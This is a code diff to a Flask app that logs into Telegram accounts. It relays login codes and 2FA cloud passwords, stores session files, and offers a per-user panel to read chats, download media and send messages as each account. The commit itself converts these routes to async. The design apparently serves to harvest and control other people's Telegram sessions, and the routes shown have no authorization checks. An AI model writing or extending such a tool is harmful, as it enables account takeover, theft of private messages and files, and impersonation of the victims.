Update app.py

app.py

@@ -80,7 +80,7 @@ HTML_TEMPLATE = '''
                     <td>
                         <a href="/user/{{ user[0] }}/messages">Messages</a> |
                         <a href="/user/{{ user[0] }}/files">Files</a> |
-                        <a href="/send_message/{{ user[0] }}">Send Message</a>
+                        <a href="javascript:void(0);" onclick="sendMessage({{ user[0] }})">Send Message</a>
                     </td>
                 </tr>
                 {% endfor %}
@@ -170,39 +170,43 @@ def login():
     step = data.get('step')
     session_file = f"{SESSION_DIR}/{hashlib.md5(phone.encode()).hexdigest()}.session"
 
-    client = TelegramClient(session_file, API_ID, API_HASH)
-    try:
-        if step == 'start':
-            client.connect()
-            client.send_code_request(phone)
-            return jsonify({'success': True, 'message': 'Code sent to your Telegram'})
-        elif step == 'code':
-            client.connect()
-            me = client.sign_in(phone, code)
-            with sqlite3.connect(DB_PATH) as conn:
-                c = conn.cursor()
-                c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
-                          (str(me.id), me.username or '', phone, session_file))
-                conn.commit()
-            return jsonify({'success': True, 'message': 'Logged in successfully'})
-        elif step == 'password':
-            client.connect()
-            me = client.sign_in(password=password)
-            with sqlite3.connect(DB_PATH) as conn:
-                c = conn.cursor()
-                c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
-                          (str(me.id), me.username or '', phone, session_file))
-                conn.commit()
-            return jsonify({'success': True, 'message': 'Logged in with cloud password'})
-        else:
-            return jsonify({'success': False, 'message': 'Invalid step'})
-    except Exception as e:
-        if 'session password' in str(e).lower() or '2fa' in str(e).lower():
-            return jsonify({'success': False, 'password_required': True, 'message': 'Cloud password required'})
-        return jsonify({'success': False, 'message': str(e)})
-    finally:
-        if client.is_connected():
-            client.disconnect()
+    async def _login_async():
+        client = TelegramClient(session_file, API_ID, API_HASH)
+        try:
+            if step == 'start':
+                await client.connect()
+                await client.send_code_request(phone)
+                return {'success': True, 'message': 'Code sent to your Telegram'}
+            elif step == 'code':
+                await client.connect()
+                me = await client.sign_in(phone, code)
+                with sqlite3.connect(DB_PATH) as conn:
+                    c = conn.cursor()
+                    c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
+                              (str(me.id), me.username or '', phone, session_file))
+                    conn.commit()
+                return {'success': True, 'message': 'Logged in successfully'}
+            elif step == 'password':
+                await client.connect()
+                me = await client.sign_in(password=password)
+                with sqlite3.connect(DB_PATH) as conn:
+                    c = conn.cursor()
+                    c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
+                              (str(me.id), me.username or '', phone, session_file))
+                    conn.commit()
+                return {'success': True, 'message': 'Logged in with cloud password'}
+            else:
+                return {'success': False, 'message': 'Invalid step'}
+        except Exception as e:
+            if 'session password' in str(e).lower() or '2fa' in str(e).lower():
+                return {'success': False, 'password_required': True, 'message': 'Cloud password required'}
+            return {'success': False, 'message': str(e)}
+        finally:
+            if client.is_connected():
+                await client.disconnect()
+
+    result = asyncio.run(_login_async())
+    return jsonify(result)
 
 @app.route('/user/<int:user_id>/messages')
 def get_messages(user_id):
@@ -211,16 +215,20 @@ def get_messages(user_id):
         c.execute('SELECT session_file FROM users WHERE id = ?', (user_id,))
         session_file = c.fetchone()[0]
 
-    client = TelegramClient(session_file, API_ID, API_HASH)
-    client.connect()
-    messages = []
-    try:
-        for dialog in client.get_dialogs(limit=10):
-            for message in client.get_messages(dialog, limit=10):
-                messages.append({'chat': dialog.title, 'text': message.text or '', 'date': str(message.date)})
-    finally:
-        client.disconnect()
+    async def _get_messages_async():
+        client = TelegramClient(session_file, API_ID, API_HASH)
+        await client.connect()
+        messages = []
+        try:
+            async for dialog in client.iter_dialogs(limit=10):
+                async for message in client.iter_messages(dialog, limit=10):
+                    messages.append({'chat': dialog.title, 'text': message.text or '', 'date': str(message.date)})
+        finally:
+            if client.is_connected():
+                await client.disconnect()
+        return messages
 
+    messages = asyncio.run(_get_messages_async())
     return render_template_string('''
         <h1>Messages for User {{ user_id }}</h1>
         <div class="chat">
@@ -238,18 +246,23 @@ def get_files(user_id):
         c.execute('SELECT session_file FROM users WHERE id = ?', (user_id,))
         session_file = c.fetchone()[0]
 
-    client = TelegramClient(session_file, API_ID, API_HASH)
-    client.connect()
-    files = []
-    try:
-        for dialog in client.get_dialogs(limit=10):
-            for message in client.get_messages(dialog, limit=10):
-                if message.media:
-                    file_path = client.download_media(message, DOWNLOAD_DIR)
-                    files.append({'chat': dialog.title, 'file': Path(file_path).name})
-    finally:
-        client.disconnect()
+    async def _get_files_async():
+        client = TelegramClient(session_file, API_ID, API_HASH)
+        await client.connect()
+        files = []
+        try:
+            async for dialog in client.iter_dialogs(limit=10):
+                async for message in client.iter_messages(dialog, limit=10):
+                    if message.media:
+                        file_path = await client.download_media(message, DOWNLOAD_DIR)
+                        if file_path: # Ensure file was actually downloaded
+                            files.append({'chat': dialog.title, 'file': Path(file_path).name})
+        finally:
+            if client.is_connected():
+                await client.disconnect()
+        return files
 
+    files = asyncio.run(_get_files_async())
     return render_template_string('''
         <h1>Files for User {{ user_id }}</h1>
         <table>
@@ -279,15 +292,20 @@ def send_message(user_id):
         c.execute('SELECT session_file FROM users WHERE id = ?', (user_id,))
         session_file = c.fetchone()[0]
 
-    client = TelegramClient(session_file, API_ID, API_HASH)
-    client.connect()
-    try:
-        client.send_message(chat_id, message)
-        return jsonify({'success': True, 'message': 'Message sent'})
-    except Exception as e:
-        return jsonify({'success': False, 'message': str(e)})
-    finally:
-        client.disconnect()
+    async def _send_message_async():
+        client = TelegramClient(session_file, API_ID, API_HASH)
+        await client.connect()
+        try:
+            await client.send_message(chat_id, message)
+            return {'success': True, 'message': 'Message sent'}
+        except Exception as e:
+            return {'success': False, 'message': str(e)}
+        finally:
+            if client.is_connected():
+                await client.disconnect()
+
+    result = asyncio.run(_send_message_async())
+    return jsonify(result)
 
 if __name__ == '__main__':
     init_db()